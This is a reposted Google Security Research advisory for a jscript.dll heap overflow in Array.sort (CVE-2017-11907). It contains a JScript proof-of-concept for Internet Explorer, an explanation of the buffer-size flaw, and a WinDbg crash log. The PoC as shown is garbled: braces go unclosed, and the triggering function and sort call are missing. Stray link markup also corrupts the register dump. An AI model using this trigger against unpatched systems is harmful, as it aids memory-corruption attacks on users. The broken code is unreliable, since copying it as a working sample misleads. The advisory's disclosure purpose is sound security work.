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Microsoft Windows Array.sort jscript.dll Heap Overflow

Microsoft Windows Array.sort jscript.dll Heap Overflow
Posted Dec 19, 2017
Authored by Ivan Fratric, Google Security Research

There is an heap overflow vulnerability in jscript.dll library (used in IE, WPAD and other places). The bug affects 2 functions, JsArrayStringHeapSort and JsArrayFunctionHeapSort.

tags | exploit, overflow
advisories | CVE-2017-11907
SHA-256 | deac9cd1e6753834b079b602c10a506a085746a6093d25bcb66aa97015e0c366

Microsoft Windows Array.sort jscript.dll Heap Overflow

Change Mirror Download
Windows: heap overflow in jscript.dll in Array.sort 


There is an heap overflow vulnerability in jscript.dll library (used in IE, WPAD and other places). The bug affects 2 functions, JsArrayStringHeapSort and JsArrayFunctionHeapSort.

PoC for IE (note: page heap might be required to obsorve the crash):


<!-- saved from url=(0014)about:internet -->
<meta http-equiv="X-UA-Compatible" content="IE=8"></meta>
<script language="Jscript.Encode">
var vars = new Array(100);

var arr = new Array(1000);
for(var i=1;i<600;i++) arr[i] = i;

var o = {toString:function() {
for(var i=600;i<1000;i++) {
arr[i] = 1337;

function go() {
arr[0] = o;




Technical details:

Array.sort is implemented in JsArraySort which, depending if a comparison function was specified or not, calls JsArrayStringHeapSort or JsArrayFunctionHeapSort. These (vulnerable) functions take several arguments, 2 of which are the input array length and the number of elements currently in the input array (this can be smaller than the array length). The vulnerable functions are going to allcoate 2 buffers to store intermediate data. The size of these buffers will be calculated based on *num_elements*. However, while filling those arrays it is possible that the number of elements is going to increase, which causes a heap overflow.

Debug log:


0:023> g
(e5c.988): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
000007fe`f4f59df0 498900 mov qword ptr [<a href="https://crrev.com/8" title="" class="" rel="nofollow">r8</a>],rax ds:00000000`04603010=????????????????

0:013> r
rax=c0c0c0c0c0c00003 rbx=000000000443cf20 rcx=000000000441df90
rdx=0000000000000003 rsi=0000000004603010 rdi=000000000441df90
rip=000007fef4f59df0 rsp=00000000129a8e10 rbp=0000000000000000
<a href="https://crrev.com/8" title="" class="" rel="nofollow">r8</a>=0000000004603010 <a href="https://crrev.com/9" title="" class="" rel="nofollow">r9</a>=000000000441fdc8 <a href="https://crrev.com/10" title="" class="" rel="nofollow">r10</a>=00000000040a9800
<a href="https://crrev.com/11" title="" class="" rel="nofollow">r11</a>=00000000129a8e70 <a href="https://crrev.com/12" title="" class="" rel="nofollow">r12</a>=0000000003ecb690 <a href="https://crrev.com/13" title="" class="" rel="nofollow">r13</a>=0000000000000001
<a href="https://crrev.com/14" title="" class="" rel="nofollow">r14</a>=0000000004603010 <a href="https://crrev.com/15" title="" class="" rel="nofollow">r15</a>=0000000000000259
iopl=0 nv up ei ng nz na pe cy
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010283
000007fe`f4f59df0 498900 mov qword ptr [<a href="https://crrev.com/8" title="" class="" rel="nofollow">r8</a>],rax ds:00000000`04603010=????????????????

0:013> k
# Child-SP RetAddr Call Site
00 00000000`129a8e10 000007fe`f4f75f0e jscript!NameTbl::GetValCore+0x30
01 00000000`129a8e70 000007fe`f4f761d8 jscript!ArrayObj::GetValAtIndex+0x62
02 00000000`129a8eb0 000007fe`f4fbd5a2 jscript!ArrayObj::GetVal+0x28
03 00000000`129a8f40 000007fe`f4fbcd90 jscript!JsArrayStringHeapSort+0x1a6
04 00000000`129a90d0 000007fe`f4f5c2ec jscript!JsArraySort+0x270
05 00000000`129a9180 000007fe`f4f5a9fe jscript!NatFncObj::Call+0x138
06 00000000`129a9230 000007fe`f4f586ea jscript!NameTbl::InvokeInternal+0x3f8
07 00000000`129a9350 000007fe`f4fadd72 jscript!VAR::InvokeByDispID+0xffffffff`ffffffea
08 00000000`129a93a0 000007fe`f4f5c2ec jscript!JsFncCall+0xc2
09 00000000`129a9430 000007fe`f4f5a9fe jscript!NatFncObj::Call+0x138
0a 00000000`129a94e0 000007fe`f4f5b234 jscript!NameTbl::InvokeInternal+0x3f8
0b 00000000`129a9600 000007fe`f4f59852 jscript!VAR::InvokeByName+0x81c
0c 00000000`129a9810 000007fe`f4f59929 jscript!VAR::InvokeDispName+0x72
0d 00000000`129a9890 000007fe`f4f524b8 jscript!VAR::InvokeByDispID+0x1229
0e 00000000`129a98e0 000007fe`f4f58ec2 jscript!CScriptRuntime::Run+0x5a6
0f 00000000`129aa6e0 000007fe`f4f594b3 jscript!ScrFncObj::CallWithFrameOnStack+0x162
10 00000000`129aa8f0 000007fe`f4f586ea jscript!NameTbl::InvokeInternal+0x2d3
11 00000000`129aaa10 000007fe`f4f524b8 jscript!VAR::InvokeByDispID+0xffffffff`ffffffea
12 00000000`129aaa60 000007fe`f4f58ec2 jscript!CScriptRuntime::Run+0x5a6
13 00000000`129ab860 000007fe`f4f58d2b jscript!ScrFncObj::CallWithFrameOnStack+0x162
14 00000000`129aba70 000007fe`f4f58b95 jscript!ScrFncObj::Call+0xb7
15 00000000`129abb10 000007fe`f4f5e6c0 jscript!CSession::Execute+0x19e
16 00000000`129abbe0 000007fe`f4f670e7 jscript!COleScript::ExecutePendingScripts+0x17a
17 00000000`129abcb0 000007fe`f4f668d6 jscript!COleScript::ParseScriptTextCore+0x267
18 00000000`129abda0 000007fe`ec595251 jscript!COleScript::ParseScriptText+0x56
19 00000000`129abe00 000007fe`ecd1b320 MSHTML!CActiveScriptHolder::ParseScriptText+0xc1
1a 00000000`129abe80 000007fe`ec596256 MSHTML!CScriptCollection::ParseScriptText+0x37f
1b 00000000`129abf60 000007fe`ec595c8e MSHTML!CScriptData::CommitCode+0x3d9
1c 00000000`129ac130 000007fe`ec595a11 MSHTML!CScriptData::Execute+0x283
1d 00000000`129ac1f0 000007fe`ecd546fb MSHTML!CHtmScriptParseCtx::Execute+0x101
1e 00000000`129ac230 000007fe`ec638a5b MSHTML!CHtmParseBase::Execute+0x235
1f 00000000`129ac2d0 000007fe`ec512e39 MSHTML!CHtmPost::Broadcast+0x90
20 00000000`129ac310 000007fe`ec56caef MSHTML!CHtmPost::Exec+0x4bb
21 00000000`129ac520 000007fe`ec56ca40 MSHTML!CHtmPost::Run+0x3f
22 00000000`129ac550 000007fe`ec56da12 MSHTML!PostManExecute+0x70
23 00000000`129ac5d0 000007fe`ec570843 MSHTML!PostManResume+0xa1
24 00000000`129ac610 000007fe`ec556fc7 MSHTML!CHtmPost::OnDwnChanCallback+0x43
25 00000000`129ac660 000007fe`ecd84f78 MSHTML!CDwnChan::OnMethodCall+0x41
26 00000000`129ac690 000007fe`ec479d75 MSHTML!GlobalWndOnMethodCall+0x240
27 00000000`129ac730 00000000`76d19bbd MSHTML!GlobalWndProc+0x150
28 00000000`129ac7b0 00000000`76d198c2 USER32!UserCallWinProcCheckWow+0x1ad
29 00000000`129ac870 000007fe`f11a4a87 USER32!DispatchMessageWorker+0x3b5
2a 00000000`129ac8f0 000007fe`f11ababb IEFRAME!CTabWindow::_TabWindowThreadProc+0x555
2b 00000000`129afb70 000007fe`fd48572f IEFRAME!LCIETab_ThreadProc+0x3a3
2c 00000000`129afca0 000007fe`f521925f iertutil!_IsoThreadProc_WrapperToReleaseScope+0x1f
2d 00000000`129afcd0 00000000`76e159cd IEShims!NS_CreateThread::DesktopIE_ThreadProc+0x9f
2e 00000000`129afd20 00000000`76f4a561 kernel32!BaseThreadInitThunk+0xd
2f 00000000`129afd50 00000000`00000000 ntdll!RtlUserThreadStart+0x1d


This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.

Found by: ifratric

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